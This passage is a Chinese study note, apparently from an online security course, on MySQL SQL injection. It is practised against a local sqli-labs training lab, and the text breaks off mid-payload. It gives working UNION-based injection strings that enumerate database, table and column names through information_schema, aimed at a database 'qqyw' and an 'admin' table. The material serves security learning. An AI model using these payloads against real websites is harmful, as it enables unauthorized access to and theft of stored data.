B站小迪安全笔记第十三天-SQL注入（MYSQL注入）

前言：

             MYSQL 注入中首先要明确当前注入点权限，高权限注入时有更多的 攻击手法，有的能直接进行 getshell 操作。其中也会遇到很多阻碍，相关 防御方案也要明确，所谓知己知彼,百战不殆。不论作为攻击还是防御都需 要了解其中的手法和原理，这样才是一个合格的安全工作者

 

 高权限注入及低权限注入

跨库查询及应用思路

information_schema 表特性，记录库名，表名，列名对应表

获取所有数据库名：

http://127.0.0.1:8080/sqlilabs/Less-2/?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata

获取指定 qqyw 数据库名下的表名信息：

union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='qqyw'

获取指定 qqyw 下的表名 admin 下的列名信息：

union select 1,group_concat(column_name